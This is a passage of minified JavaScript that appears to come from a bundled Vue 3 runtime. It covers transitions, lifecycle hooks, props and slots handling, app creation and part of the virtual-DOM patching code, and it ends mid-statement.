Mo=[Function,Array],aA={mode:String,appear:Boolean,persisted:Boolean,onBeforeEnter:Mo,onEnter:Mo,onAfterEnter:Mo,onEnterCancelled:Mo,onBeforeLeave:Mo,onLeave:Mo,onAfterLeave:Mo,onLeaveCancelled:Mo,onBeforeAppear:Mo,onAppear:Mo,onAfterAppear:Mo,onAppearCancelled:Mo},wz={name:"BaseTransition",props:aA,setup(e,{slots:t}){const n=bt(),r=sA();return()=>{const o=t.default&&wb(t.default(),!0);if(!o||!o.length)return;let i=o[0];if(o.length>1){for(const p of o)if(p.type!==Dr){i=p;break}}const s=rn(e),{mode:a}=s;if(r.isLeaving)return lv(i);const l=gq(i);if(!l)return lv(i);const u=gd(l,s,r,n);yd(l,u);const c=n.subTree,f=c&&gq(c);if(f&&f.type!==Dr&&!Va(l,f)){const p=gd(f,s,r,n);if(yd(f,p),a==="out-in")return r.isLeaving=!0,p.afterLeave=()=>{r.isLeaving=!1,n.update.active!==!1&&(n.effect.dirty=!0,n.update())},lv(i);a==="in-out"&&l.type!==Dr&&(p.delayLeave=(m,g,v)=>{const I=lA(r,f);I[String(f.key)]=f,m[Vs]=()=>{g(),m[Vs]=void 0,delete u.delayedLeave},u.delayedLeave=v})}return i}}},Sz=wz;function lA(e,t){const{leavingVNodes:n}=e;let r=n.get(t.type);return r||(r=Object.create(null),n.set(t.type,r)),r}function gd(e,t,n,r){const{appear:o,mode:i,persisted:s=!1,onBeforeEnter:a,onEnter:l,onAfterEnter:u,onEnterCancelled:c,onBeforeLeave:f,onLeave:p,onAfterLeave:m,onLeaveCancelled:g,onBeforeAppear:v,onAppear:I,onAfterAppear:q,onAppearCancelled:M}=t,E=String(e.key),x=lA(n,e),R=(j,H)=>{j&&Wo(j,r,9,H)},K=(j,H)=>{const P=H[1];R(j,H),Ve(j)?j.every(U=>U.length<=1)&&P():j.length<=1&&P()},W={mode:i,persisted:s,beforeEnter(j){let H=a;if(!n.isMounted)if(o)H=v||a;else return;j[Vs]&&j[Vs](!0);const P=x[E];P&&Va(e,P)&&P.el[Vs]&&P.el[Vs](),R(H,[j])},enter(j){let H=l,P=u,U=c;if(!n.isMounted)if(o)H=I||l,P=q||u,U=M||c;else return;let X=!1;const L=j[Mf]=h=>{X||(X=!0,h?R(U,[j]):R(P,[j]),W.delayedLeave&&W.delayedLeave(),j[Mf]=void 0)};H?K(H,[j,L]):L()},leave(j,H){const P=String(e.key);if(j[Mf]&&j[Mf](!0),n.isUnmounting)return H();R(f,[j]);let U=!1;const X=j[Vs]=L=>{U||(U=!0,H(),L?R(g,[j]):R(m,[j]),j[Vs]=void 0,x[P]===e&&delete x[P])};x[P]=e,p?K(p,[j,X]):X()},clone(j){return gd(j,t,n,r)}};return W}function lv(e){if(em(e))return e=vs(e),e.children=null,e}function gq(e){return em(e)?e.children?e.children[0]:void 0:e}function yd(e,t){e.shapeFlag&6&&e.component?yd(e.component.subTree,t):e.shapeFlag&128?(e.ssContent.transition=t.clone(e.ssContent),e.ssFallback.transition=t.clone(e.ssFallback)):e.transition=t}function wb(e,t=!1,n){let r=[],o=0;for(let i=0;i<e.length;i++){let s=e[i];const a=n==null?s.key:String(n)+String(s.key!=null?s.key:i);s.type===Qe?(s.patchFlag&128&&o++,r=r.concat(wb(s.children,t,a))):(t||s.type!==Dr)&&r.push(a!=null?vs(s,{key:a}):s)}if(o>1)for(let i=0;i<r.length;i++)r[i].patchFlag=-2;return r}/*! #__NO_SIDE_EFFECTS__ */function ie(e,t){return ot(e)?sr({name:e.name},t,{setup:e}):e}const Hc=e=>!!e.type.__asyncLoader,em=e=>e.type.__isKeepAlive;function Ez(e,t){cA(e,"a",t)}function uA(e,t){cA(e,"da",t)}function cA(e,t,n=br){const r=e.__wdc||(e.__wdc=()=>{let o=n;for(;o;){if(o.isDeactivated)return;o=o.parent}return e()});if(tm(t,r,n),n){let o=n.parent;for(;o&&o.parent;)em(o.parent.vnode)&&Az(r,t,n,o),o=o.parent}}function Az(e,t,n,r){const o=tm(t,e,r,!0);Ia(()=>{ib(r[t],o)},n)}function tm(e,t,n=br,r=!1){if(n){const o=n[e]||(n[e]=[]),i=t.__weh||(t.__weh=(...s)=>{if(n.isUnmounted)return;Ll();const a=Dd(n),l=Wo(t,n,e,s);return a(),Zl(),l});return r?o.unshift(i):o.push(i),i}}const qs=e=>(t,n=br)=>(!om||e==="sp")&&tm(e,(...r)=>t(...r),n),nm=qs("bm"),mt=qs("m"),dA=qs("bu"),ws=qs("u"),vn=qs("bum"),Ia=qs("um"),Mz=qs("sp"),Cz=qs("rtg"),kz=qs("rtc");function xz(e,t=br){tm("ec",e,t)}function Lt(e,t,n,r){let o;const i=n&&n[r];if(Ve(e)||st(e)){o=new Array(e.length);for(let s=0,a=e.length;s<a;s++)o[s]=t(e[s],s,void 0,i&&i[s])}else if(typeof e=="number"){o=new Array(e);for(let s=0;s<e;s++)o[s]=t(s+1,s,void 0,i&&i[s])}else if(At(e))if(e[Symbol.iterator])o=Array.from(e,(s,a)=>t(s,a,void 0,i&&i[a]));else{const s=Object.keys(e);o=new Array(s.length);for(let a=0,l=s.length;a<l;a++){const u=s[a];o[a]=t(e[u],u,a,i&&i[a])}}else o=[];return n&&(n[r]=o),o}function ms(e,t){for(let n=0;n<t.length;n++){const r=t[n];if(Ve(r))for(let o=0;o<r.length;o++)e[r[o].name]=r[o].fn;else r&&(e[r.name]=r.key?(...o)=>{const i=r.fn(...o);return i&&(i.key=r.key),i}:r.fn)}return e}function qe(e,t,n={},r,o){if(ir.isCE||ir.parent&&Hc(ir.parent)&&ir.parent.isCE)return t!=="default"&&(n.name=t),ae("slot",n,r&&r());let i=e[t];i&&i._c&&(i._d=!1),B();const s=i&&fA(i(n)),a=ye(Qe,{key:n.key||s&&s.key||`_${t}`},s||(r?r():[]),s&&e._===1?64:-2);return!o&&a.scopeId&&(a.slotScopeIds=[a.scopeId+"-s"]),i&&i._c&&(i._d=!0),a}function fA(e){return e.some(t=>En(t)?!(t.type===Dr||t.type===Qe&&!fA(t.children)):!0)?e:null}function Oz(e,t){const n={};for(const r in e)n[t&&/[A-Z]/.test(r)?`on:${r}`:ch(r)]=e[r];return n}const D0=e=>e?AA(e)?im(e)||e.proxy:D0(e.parent):null,Pc=sr(Object.create(null),{$:e=>e,$el:e=>e.vnode.el,$data:e=>e.data,$props:e=>e.props,$attrs:e=>e.attrs,$slots:e=>e.slots,$refs:e=>e.refs,$parent:e=>D0(e.parent),$root:e=>D0(e.root),$emit:e=>e.emit,$options:e=>Sb(e),$forceUpdate:e=>e.f||(e.f=()=>{e.effect.dirty=!0,yb(e.update)}),$nextTick:e=>e.n||(e.n=$e.bind(e.proxy)),$watch:e=>qz.bind(e)}),uv=(e,t)=>e!==Zn&&!e.__isScriptSetup&&Gt(e,t),zz={get({_:e},t){const{ctx:n,setupState:r,data:o,props:i,accessCache:s,type:a,appContext:l}=e;let u;if(t[0]!=="$"){const m=s[t];if(m!==void 0)switch(m){case 1:return r[t];case 2:return o[t];case 4:return n[t];case 3:return i[t]}else{if(uv(r,t))return s[t]=1,r[t];if(o!==Zn&&Gt(o,t))return s[t]=2,o[t];if((u=e.propsOptions[0])&&Gt(u,t))return s[t]=3,i[t];if(n!==Zn&&Gt(n,t))return s[t]=4,n[t];X0&&(s[t]=0)}}const c=Pc[t];let f,p;if(c)return t==="$attrs"&&lo(e,"get",t),c(e);if((f=a.__cssModules)&&(f=f[t]))return f;if(n!==Zn&&Gt(n,t))return s[t]=4,n[t];if(p=l.config.globalProperties,Gt(p,t))return p[t]},set({_:e},t,n){const{data:r,setupState:o,ctx:i}=e;return uv(o,t)?(o[t]=n,!0):r!==Zn&&Gt(r,t)?(r[t]=n,!0):Gt(e.props,t)||t[0]==="$"&&t.slice(1)in e?!1:(i[t]=n,!0)},has({_:{data:e,setupState:t,accessCache:n,ctx:r,appContext:o,propsOptions:i}},s){let a;return!!n[s]||e!==Zn&&Gt(e,s)||uv(t,s)||(a=i[0])&&Gt(a,s)||Gt(r,s)||Gt(Pc,s)||Gt(o.config.globalProperties,s)},defineProperty(e,t,n){return n.get!=null?e._.accessCache[t]=0:Gt(n,"value")&&this.set(e,t,n.value,null),Reflect.defineProperty(e,t,n)}};function pr(){return hA().slots}function Nl(){return hA().attrs}function hA(){const e=bt();return e.setupContext||(e.setupContext=CA(e))}function yq(e){return Ve(e)?e.reduce((t,n)=>(t[n]=null,t),{}):e}let X0=!0;function Kz(e){const t=Sb(e),n=e.proxy,r=e.ctx;X0=!1,t.beforeCreate&&bq(t.beforeCreate,e,"bc");const{data:o,computed:i,methods:s,watch:a,provide:l,inject:u,created:c,beforeMount:f,mounted:p,beforeUpdate:m,updated:g,activated:v,deactivated:I,beforeDestroy:q,beforeUnmount:M,destroyed:E,unmounted:x,render:R,renderTracked:K,renderTriggered:W,errorCaptured:j,serverPrefetch:H,expose:P,inheritAttrs:U,components:X,directives:L,filters:h}=t;if(u&&Rz(u,r,null),s)for(const A in s){const C=s[A];ot(C)&&(r[A]=C.bind(n))}if(o){const A=o.call(n,n);At(A)&&(e.data=$t(A))}if(X0=!0,i)for(const A in i){const C=i[A],S=ot(C)?C.bind(n,n):ot(C.get)?C.get.bind(n,n):on,z=!ot(C)&&ot(C.set)?C.set.bind(n):on,k=N({get:S,set:z});Object.defineProperty(r,A,{enumerable:!0,configurable:!0,get:()=>k.value,set:y=>k.value=y})}if(a)for(const A in a)pA(a[A],r,n,A);if(l){const A=ot(l)?l.call(n):l;Reflect.ownKeys(A).forEach(C=>{Ot(C,A[C])})}c&&bq(c,e,"c");function w(A,C){Ve(C)?C.forEach(S=>A(S.bind(n))):C&&A(C.bind(n))}if(w(nm,f),w(mt,p),w(dA,m),w(ws,g),w(Ez,v),w(uA,I),w(xz,j),w(kz,K),w(Cz,W),w(vn,M),w(Ia,x),w(Mz,H),Ve(P))if(P.length){const A=e.exposed||(e.exposed={});P.forEach(C=>{Object.defineProperty(A,C,{get:()=>n[C],set:S=>n[C]=S})})}else e.exposed||(e.exposed={});R&&e.render===on&&(e.render=R),U!=null&&(e.inheritAttrs=U),X&&(e.components=X),L&&(e.directives=L)}function Rz(e,t,n=on){Ve(e)&&(e=Q0(e));for(const r in e){const o=e[r];let i;At(o)?"default"in o?i=Fe(o.from||r,o.default,!0):i=Fe(o.from||r):i=Fe(o),mn(i)?Object.defineProperty(t,r,{enumerable:!0,configurable:!0,get:()=>i.value,set:s=>i.value=s}):t[r]=i}}function bq(e,t,n){Wo(Ve(e)?e.map(r=>r.bind(t.proxy)):e.bind(t.proxy),t,n)}function pA(e,t,n,r){const o=r.includes(".")?iA(n,r):()=>n[r];if(st(e)){const i=t[e];ot(i)&&Ce(o,i)}else if(ot(e))Ce(o,e.bind(n));else if(At(e))if(Ve(e))e.forEach(i=>pA(i,t,n,r));else{const i=ot(e.handler)?e.handler.bind(n):t[e.handler];ot(i)&&Ce(o,i,e)}}function Sb(e){const t=e.type,{mixins:n,extends:r}=t,{mixins:o,optionsCache:i,config:{optionMergeStrategies:s}}=e.appContext,a=i.get(t);let l;return a?l=a:!o.length&&!n&&!r?l=t:(l={},o.length&&o.forEach(u=>lp(l,u,s,!0)),lp(l,t,s)),At(t)&&i.set(t,l),l}function lp(e,t,n,r=!1){const{mixins:o,extends:i}=t;i&&lp(e,i,n,!0),o&&o.forEach(s=>lp(e,s,n,!0));for(const s in t)if(!(r&&s==="expose")){const a=Lz[s]||n&&n[s];e[s]=a?a(e[s],t[s]):t[s]}return e}const Lz={data:Iq,props:qq,emits:qq,methods:Wc,computed:Wc,beforeCreate:Hr,created:Hr,beforeMount:Hr,mounted:Hr,beforeUpdate:Hr,updated:Hr,beforeDestroy:Hr,beforeUnmount:Hr,destroyed:Hr,unmounted:Hr,activated:Hr,deactivated:Hr,errorCaptured:Hr,serverPrefetch:Hr,components:Wc,directives:Wc,watch:Tz,provide:Iq,inject:Zz};function Iq(e,t){return t?e?function(){return sr(ot(e)?e.call(this,this):e,ot(t)?t.call(this,this):t)}:t:e}function Zz(e,t){return Wc(Q0(e),Q0(t))}function Q0(e){if(Ve(e)){const t={};for(let n=0;n<e.length;n++)t[e[n]]=e[n];return t}return e}function Hr(e,t){return e?[...new Set([].concat(e,t))]:t}function Wc(e,t){return e?sr(Object.create(null),e,t):t}function qq(e,t){return e?Ve(e)&&Ve(t)?[...new Set([...e,...t])]:sr(Object.create(null),yq(e),yq(t??{})):t}function Tz(e,t){if(!e)return t;if(!t)return e;const n=sr(Object.create(null),e);for(const r in t)n[r]=Hr(e[r],t[r]);return n}function mA(){return{app:null,config:{isNativeTag:SO,performance:!1,globalProperties:{},optionMergeStrategies:{},errorHandler:void 0,warnHandler:void 0,compilerOptions:{}},mixins:[],components:{},directives:{},provides:Object.create(null),optionsCache:new WeakMap,propsCache:new WeakMap,emitsCache:new WeakMap}}let Nz=0;function jz(e,t){return function(r,o=null){ot(r)||(r=sr({},r)),o!=null&&!At(o)&&(o=null);const i=mA(),s=new WeakSet;let a=!1;const l=i.app={_uid:Nz++,_component:r,_props:o,_container:null,_context:i,_instance:null,version:uK,get config(){return i.config},set config(u){},use(u,...c){return s.has(u)||(u&&ot(u.install)?(s.add(u),u.install(l,...c)):ot(u)&&(s.add(u),u(l,...c))),l},mixin(u){return i.mixins.includes(u)||i.mixins.push(u),l},component(u,c){return c?(i.components[u]=c,l):i.components[u]},directive(u,c){return c?(i.directives[u]=c,l):i.directives[u]},mount(u,c,f){if(!a){const p=ae(r,o);return p.appContext=i,f===!0?f="svg":f===!1&&(f=void 0),c&&t?t(p,u):e(p,u,f),a=!0,l._container=u,u.__vue_app__=l,im(p.component)||p.component.proxy}},unmount(){a&&(e(null,l._container),delete l._container.__vue_app__)},provide(u,c){return i.provides[u]=c,l},runWithContext(u){const c=ku;ku=l;try{return u()}finally{ku=c}}};return l}}let ku=null;function Ot(e,t){if(br){let n=br.provides;const r=br.parent&&br.parent.provides;r===n&&(n=br.provides=Object.create(r)),n[e]=t}}function Fe(e,t,n=!1){const r=br||ir;if(r||ku){const o=r?r.parent==null?r.vnode.appContext&&r.vnode.appContext.provides:r.parent.provides:ku._context.provides;if(o&&e in o)return o[e];if(arguments.length>1)return n&&ot(t)?t.call(r&&r.proxy):t}}function Wz(){return!!(br||ir||ku)}function Gz(e,t,n,r=!1){const o={},i={};op(i,rm,1),e.propsDefaults=Object.create(null),vA(e,t,o,i);for(const s in e.propsOptions[0])s in o||(o[s]=void 0);n?e.props=r?o:JE(o):e.type.props?e.props=o:e.props=i,e.attrs=i}function Yz(e,t,n,r){const{props:o,attrs:i,vnode:{patchFlag:s}}=e,a=rn(o),[l]=e.propsOptions;let u=!1;if((r||s>0)&&!(s&16)){if(s&8){const c=e.vnode.dynamicProps;for(let f=0;f<c.length;f++){let p=c[f];if(Qp(e.emitsOptions,p))continue;const m=t[p];if(l)if(Gt(i,p))m!==i[p]&&(i[p]=m,u=!0);else{const g=Jo(p);o[g]=_0(l,a,g,m,e,!1)}else m!==i[p]&&(i[p]=m,u=!0)}}}else{vA(e,t,o,i)&&(u=!0);let c;for(const f in a)(!t||!Gt(t,f)&&((c=ba(f))===f||!Gt(t,c)))&&(l?n&&(n[f]!==void 0||n[c]!==void 0)&&(o[f]=_0(l,a,f,void 0,e,!0)):delete o[f]);if(i!==a)for(const f in i)(!t||!Gt(t,f))&&(delete i[f],u=!0)}u&&ds(e,"set","$attrs")}function vA(e,t,n,r){const[o,i]=e.propsOptions;let s=!1,a;if(t)for(let l in t){if(Fc(l))continue;const u=t[l];let c;o&&Gt(o,c=Jo(l))?!i||!i.includes(c)?n[c]=u:(a||(a={}))[c]=u:Qp(e.emitsOptions,l)||(!(l in r)||u!==r[l])&&(r[l]=u,s=!0)}if(i){const l=rn(n),u=a||Zn;for(let c=0;c<i.length;c++){const f=i[c];n[f]=_0(o,l,f,u[f],e,!Gt(u,f))}}return s}function _0(e,t,n,r,o,i){const s=e[n];if(s!=null){const a=Gt(s,"default");if(a&&r===void 0){const l=s.default;if(s.type!==Function&&!s.skipFactory&&ot(l)){const{propsDefaults:u}=o;if(n in u)r=u[n];else{const c=Dd(o);r=u[n]=l.call(null,t),c()}}else r=l}s[0]&&(i&&!a?r=!1:s[1]&&(r===""||r===ba(n))&&(r=!0))}return r}function gA(e,t,n=!1){const r=t.propsCache,o=r.get(e);if(o)return o;const i=e.props,s={},a=[];let l=!1;if(!ot(e)){const c=f=>{l=!0;const[p,m]=gA(f,t,!0);sr(s,p),m&&a.push(...m)};!n&&t.mixins.length&&t.mixins.forEach(c),e.extends&&c(e.extends),e.mixins&&e.mixins.forEach(c)}if(!i&&!l)return At(e)&&r.set(e,Au),Au;if(Ve(i))for(let c=0;c<i.length;c++){const f=Jo(i[c]);wq(f)&&(s[f]=Zn)}else if(i)for(const c in i){const f=Jo(c);if(wq(f)){const p=i[c],m=s[f]=Ve(p)||ot(p)?{type:p}:sr({},p);if(m){const g=Aq(Boolean,m.type),v=Aq(String,m.type);m[0]=g>-1,m[1]=v<0||g<v,(g>-1||Gt(m,"default"))&&a.push(f)}}}const u=[s,a];return At(e)&&r.set(e,u),u}function wq(e){return e[0]!=="$"&&!Fc(e)}function Sq(e){return e===null?"null":typeof e=="function"?e.name||"":typeof e=="object"&&e.constructor&&e.constructor.name||""}function Eq(e,t){return Sq(e)===Sq(t)}function Aq(e,t){return Ve(t)?t.findIndex(n=>Eq(n,e)):ot(t)&&Eq(t,e)?0:-1}const yA=e=>e[0]==="_"||e==="$stable",Eb=e=>Ve(e)?e.map(Ai):[Ai(e)],Bz=(e,t,n)=>{if(t._n)return t;const r=fe((...o)=>Eb(t(...o)),n);return r._c=!1,r},bA=(e,t,n)=>{const r=e._ctx;for(const o in e){if(yA(o))continue;const i=e[o];if(ot(i))t[o]=Bz(o,i,r);else if(i!=null){const s=Eb(i);t[o]=()=>s}}},IA=(e,t)=>{const n=Eb(t);e.slots.default=()=>n},Jz=(e,t)=>{if(e.vnode.shapeFlag&32){const n=t._;n?(e.slots=rn(t),op(t,"_",n)):bA(t,e.slots={})}else e.slots={},t&&IA(e,t);op(e.slots,rm,1)},Vz=(e,t,n)=>{const{vnode:r,slots:o}=e;let i=!0,s=Zn;if(r.shapeFlag&32){const a=t._;a?n&&a===1?i=!1:(sr(o,t),!n&&a===1&&delete o._):(i=!t.$stable,bA(t,o)),s=t}else t&&(IA(e,t),s={default:1});if(i)for(const a in o)!yA(a)&&s[a]==null&&delete o[a]};function $0(e,t,n,r,o=!1){if(Ve(e)){e.forEach((p,m)=>$0(p,t&&(Ve(t)?t[m]:t),n,r,o));return}if(Hc(r)&&!o)return;const i=r.shapeFlag&4?im(r.component)||r.component.proxy:r.el,s=o?null:i,{i:a,r:l}=e,u=t&&t.r,c=a.refs===Zn?a.refs={}:a.refs,f=a.setupState;if(u!=null&&u!==l&&(st(u)?(c[u]=null,Gt(f,u)&&(f[u]=null)):mn(u)&&(u.value=null)),ot(l))ra(l,a,12,[s,c]);else{const p=st(l),m=mn(l);if(p||m){const g=()=>{if(e.f){const v=p?Gt(f,l)?f[l]:c[l]:l.value;o?Ve(v)&&ib(v,i):Ve(v)?v.includes(i)||v.push(i):p?(c[l]=[i],Gt(f,l)&&(f[l]=c[l])):(l.value=[i],e.k&&(c[e.k]=l.value))}else p?(c[l]=s,Gt(f,l)&&(f[l]=s)):m&&(l.value=s,e.k&&(c[e.k]=s))};s?(g.id=-1,ro(g,n)):g()}}}const ro=yz;function Uz(e){return Fz(e)}function Fz(e,t){const n=CE();n.__VUE__=!0;const{insert:r,remove:o,patchProp:i,createElement:s,createText:a,createComment:l,setText:u,setElementText:c,parentNode:f,nextSibling:p,setScopeId:m=on,insertStaticContent:g}=e,v=(se,ue,ve,ke=null,me=null,Ee=null,Le=void 0,Ae=null,be=!!ue.dynamicChildren)=>{if(se===ue)return;se&&!Va(se,ue)&&(ke=de(se),y(se,me,Ee,!0),se=null),ue.patchFlag===-2&&(be=!1,ue.dynamicChildren=null);const{type:xe,ref:Re,shapeFlag:Ne}=ue;switch(xe){case cc:I(se,ue,ve,ke);break;case Dr:q(se,ue,ve,ke);break;case hh:se==null&&M(ue,ve,ke,Le);break;case Qe:X(se,ue,ve,ke,me,Ee,Le,Ae,be);break;default:Ne&1?R(se,ue,ve,ke,me,Ee,Le,Ae,be):Ne&6?L(se,ue,ve,ke,me,Ee,Le,Ae,be):(Ne&64||Ne&128)&&xe.process(se,ue,ve,ke,me,Ee,Le,Ae,be,Ie)}Re!=null&&me&&$0(Re,se&&se.ref,Ee,ue||se,!ue)},I=(se,ue,ve,ke)=>{if(se==null)r(ue.el=a(ue.children),ve,ke);else{const me=ue.el=se.el;ue.children!==se.children&&u(me,ue.children)}},q=(se,ue,ve,ke)=>{se==null?r(ue.el=l(ue.children||""),ve,ke):ue.el=se.el},M=(se,ue,ve,ke)=>{[se.el,se.anchor]=g(se.children,ue,ve,ke,se.el,se.anchor)},E=({el:se,anchor:ue},ve,ke)=>{let me;for(;se&&se!==ue;)me=p(se),r(se,ve,ke),se=me;r(ue,ve,ke)},x=({el:se,anchor:ue})=>{let ve;for(;se&&se!==ue;)ve=p(se),o(se),se=ve;o(ue)},R=(se,ue,ve,ke,me,Ee,Le,Ae,be)=>{ue.type==="svg"?Le="svg":ue.type==="math"&&(Le="mathml"),se==null?K(ue,ve,ke,me,Ee,Le,Ae,be):H(se,ue,me,Ee,Le,Ae,be)},K=(se,ue,ve,ke,me,Ee,Le,Ae)=>{let be,xe;const{props:Re,shapeFlag:Ne,transition:Se,dirs:Ze}=se;if(be=se.el=s(se.type,Ee,Re&&Re.is,Re),Ne&8?c(be,se.children):Ne&16&&j(se.children,be,null,ke,me,cv(se,Ee),Le,Ae),Ze&&La(se,null,ke,"created"),W(be,se,se.scopeId,Le,ke),Re){for(const J in Re)J!=="value"&&!Fc(J)&&i(be,J,null,Re[J],Ee,se.children,ke,me,re);"value"in Re&&i(be,"value",null,Re.value,Ee),(xe=Re.onVnodeBeforeMount)&&bi(xe,ke,se)}Ze&&La(se,null,ke,"beforeMount");const Q=Hz(me,Se);Q&&Se.beforeEnter(be),r(be,ue,ve),((xe=Re&&Re.onVnodeMounted)||Q||Ze)&&ro(()=>{xe&&bi(xe,ke,se),Q&&Se.enter(be),Ze&&La(se,null,ke,"mounted")},me)},W=(se,ue,ve,ke,me)=>{if(ve&&m(se,ve),ke)for(let Ee=0;Ee<ke.length;Ee++)m(se,ke[Ee]);if(me){let Ee=me.subTree;if(ue===Ee){const Le=me.vnode;W(se,Le,Le.scopeId,Le.slotScopeIds,me.parent)}}},j=(se,ue,ve,ke,me,Ee,Le,Ae,be=0)=>{for(let xe=be;xe<se.length;xe++){const Re=se[xe]=Ae?Us(se[xe]):Ai(se[xe]);v(null,Re,ue,ve,ke,me,Ee,Le,Ae)}},H=(se,ue,ve,ke,me,Ee,Le)=>{const Ae=ue.el=se.el;let{patchFlag:be,dynamicChildren:xe,dirs:Re}=ue;be|=se.patchFlag&16;const Ne=se.props||Zn,Se=ue.props||Zn;let Ze;if(ve&&Za(ve,!1),(Ze=Se.onVnodeBeforeUpdate)&&bi(Ze,ve,ue,se),Re&&La(ue,se,ve,"beforeUpdate"),ve&&Za(ve,!0),xe?P(se.dynamicChildren,xe,Ae,ve,ke,cv(ue,me),Ee):Le||C(se,ue,Ae,null,ve,ke,cv(ue,me),Ee,!1),be>0){if(be&16)U(Ae,ue,Ne,Se,ve,ke,me);else if(be&2&&Ne.class!==Se.class&&i(Ae,"class",null,Se.class,me),be&4&&i(Ae,"style",Ne.style,Se.style,me),be&8){const Q=ue.dynamicProps;for(let J=0;J<Q.length;J++){const V=Q[J],G=Ne[V],O=Se[V];(O!==G||V==="value")&&i(Ae,V,G,O,me,se.children,ve,ke,re)}}be&1&&se.children!==ue.children&&c(Ae,ue.children)}else!Le&&xe==null&&U(Ae,ue,Ne,Se,ve,ke,me);((Ze=Se.onVnodeUpdated)||Re)&&ro(()=>{Ze&&bi(Ze,ve,ue,se),Re&&La(ue,se,ve,"updated")},ke)},P=(se,ue,ve,ke,me,Ee,Le)=>{for(let Ae=0;Ae<ue.length;Ae++){const be=se[Ae],xe=ue[Ae],Re=be.el&&(be.type===Qe||!Va(be,xe)||be.shapeFlag&70)?f(be.el):ve;v(be,xe,Re,null,ke,me,Ee,Le,!0)}},U=(se,ue,ve,ke,me,Ee,Le)=>{if(ve!==ke){if(ve!==Zn)for(const Ae in ve)!Fc(Ae)&&!(Ae in ke)&&i(se,Ae,ve[Ae],null,Le,ue.children,me,Ee,re);for(const Ae in ke){if(Fc(Ae))continue;const be=ke[Ae],xe=ve[Ae];be!==xe&&Ae!=="value"&&i(se,Ae,xe,be,Le,ue.children,me,Ee,re)}"value"in ke&&i(se,"value",ve.value,ke.value,Le)}},X=(se,ue,ve,ke,me,Ee,Le,Ae,be)=>{const xe=ue.el=se?se.el:a(""),Re=ue.anchor=se?se.anchor:a("");let{patchFlag:Ne,dynamicChildren:Se,slotScopeIds:Ze}=ue;Ze&&(Ae=Ae?Ae.concat(Ze):Ze),se==null?(r(xe,ve,ke),r(Re,ve,ke),j(ue.children||[],ve,Re,me,Ee,Le,Ae,be)):Ne>0&&Ne&64&&Se&&se.dynamicChildren?(P(se.dynamicChildren,Se,ve,me,Ee,Le,Ae),(ue.key!=null||me&&ue===me.subTree)&&Ab(se,ue,!0)):C(se,ue,ve,Re,me,Ee,Le,Ae,be)},L=(se,ue,ve,ke,me,Ee,Le,Ae,be)=>{ue.slotScopeIds=Ae,se==null?ue.shapeFlag&512?me.ctx.activate(ue,ve,ke,Le,be):h(ue,ve,ke,me,Ee,Le,be):b(se,ue,be)},h=(se,ue,ve,ke,me,Ee,Le)=>{const Ae=se.component=rK(se,ke,me);if(em(se)&&(Ae.ctx.renderer=Ie),oK(Ae),Ae.asyncDep){if(me&&me.registerDep(Ae,w),!se.el){const be=Ae.subTree=ae(Dr);q(null,be,ue,ve)}}else w(Ae,se,ue,ve,me,Ee,Le)},b=(se,ue,ve)=>{const ke=ue.component=se.component;if(pz(se,ue,ve))if(ke.asyncDep&&!ke.asyncResolved){A(ke,ue,ve);return}else ke.next=ue,lz(ke.update),ke.effect.dirty=!0,ke.update();else ue.el=se.el,ke.vnode=ue},w=(se,ue,ve,ke,me,Ee,Le)=>{const Ae=()=>{if(se.isMounted){let{next:Re,bu:Ne,u:Se,parent:Ze,vnode:Q}=se;{const Z=qA(se);if(Z){Re&&(Re.el=Q.el,A(se,Re,Le)),Z.asyncDep.then(()=>{se.isUnmounted||Ae()});return}}let J=Re,V;Za(se,!1),Re?(Re.el=Q.el,A(se,Re,Le)):Re=Q,Ne&&dh(Ne),(V=Re.props&&Re.props.onVnodeBeforeUpdate)&&bi(V,Ze,Re,Q),Za(se,!0);const G=av(se),O=se.subTree;se.subTree=G,v(O,G,f(O.el),de(O),se,me,Ee),Re.el=G.el,J===null&&mz(se,G.el),Se&&ro(Se,me),(V=Re.props&&Re.props.onVnodeUpdated)&&ro(()=>bi(V,Ze,Re,Q),me)}else{let Re;const{el:Ne,props:Se}=ue,{bm:Ze,m:Q,parent:J}=se,V=Hc(ue);if(Za(se,!1),Ze&&dh(Ze),!V&&(Re=Se&&Se.onVnodeBeforeMount)&&bi(Re,J,ue),Za(se,!0),Ne&&Me){const G=()=>{se.subTree=av(se),Me(Ne,se.subTree,se,me,null)};V?ue.type.__asyncLoader().then(()=>!se.isUnmounted&&G()):G()}else{const G=se.subTree=av(se);v(null,G,ve,ke,se,me,Ee),ue.el=G.el}if(Q&&ro(Q,me),!V&&(Re=Se&&Se.onVnodeMounted)){const G=ue;ro(()=>bi(Re,J,G),me)}(ue.shapeFlag&256||J&&Hc(J.vnode)&&J.vnode.shapeFlag&256)&&se.a&&ro(se.a,me),se.isMounted=!0,ue=ve=ke=null}},be=se.effect=new cb(Ae,on,()=>yb(xe),se.scope),xe=se.update=()=>{be.dirty&&be.run()};xe.id=se.uid,Za(se,!0),xe()},A=(se,ue,ve)=>{ue.component=se;const ke=se.vnode.props;se.vnode=ue,se.next=null,Yz(se,ue.props,ke,ve),Vz(se,ue.children,ve),Ll(),pq(se),Zl()},C=(se,ue,ve,ke,me,Ee,Le,Ae,be=!1)=>{const xe=se&&se.children,Re=se?se.shapeFlag:0,Ne=ue.children,{patchFlag:Se,shapeFlag:Ze}=ue;if(Se>0){if(Se&128){z(xe,Ne,ve,ke,me,Ee,Le,Ae,be);return}else if(Se&256){S(xe,Ne,ve,ke,me,Ee,Le,Ae,be);return}}Ze&8?(Re&16&&re(xe,me,Ee),Ne!==xe&&c(ve,Ne)):Re&16?Ze&16?z(xe,Ne,ve,ke,me,Ee,Le,Ae,be):re(xe,me,Ee,!0):(Re&8&&c(ve,""),Ze&16&&j(Ne,ve,ke,me,Ee,Le,Ae,be))},S=(se,ue,ve,ke,me,Ee,Le,Ae,be)=>{se=se||Au,ue=ue||Au;const xe=se.length,Re=ue.length,Ne=Math.min(xe,Re);let Se;for(Se=0;Se<Ne;Se++){const Ze=ue[Se]=be?Us(ue[Se]):Ai(ue[Se]);v(se[Se],Ze,ve,null,me,Ee,Le,Ae,be)}xe>Re?re(se,me,Ee,!0,!1,Ne):j(ue,ve,ke,me,Ee,Le,Ae,be,Ne)},z=(se,ue,ve,ke,me,Ee,Le,Ae,be)=>{let xe=0;const Re=ue.length;let Ne=se.length-1,Se=Re-1;for(;xe<=Ne&&xe<=Se;){const Ze=se[xe],Q=ue[xe]=be?Us(ue[xe]):Ai(ue[xe]);if(Va(Ze,Q))v(Ze,Q,ve,null,me,Ee,Le,Ae,be);else break;xe++}for(;xe<=Ne&&xe<=Se;){const 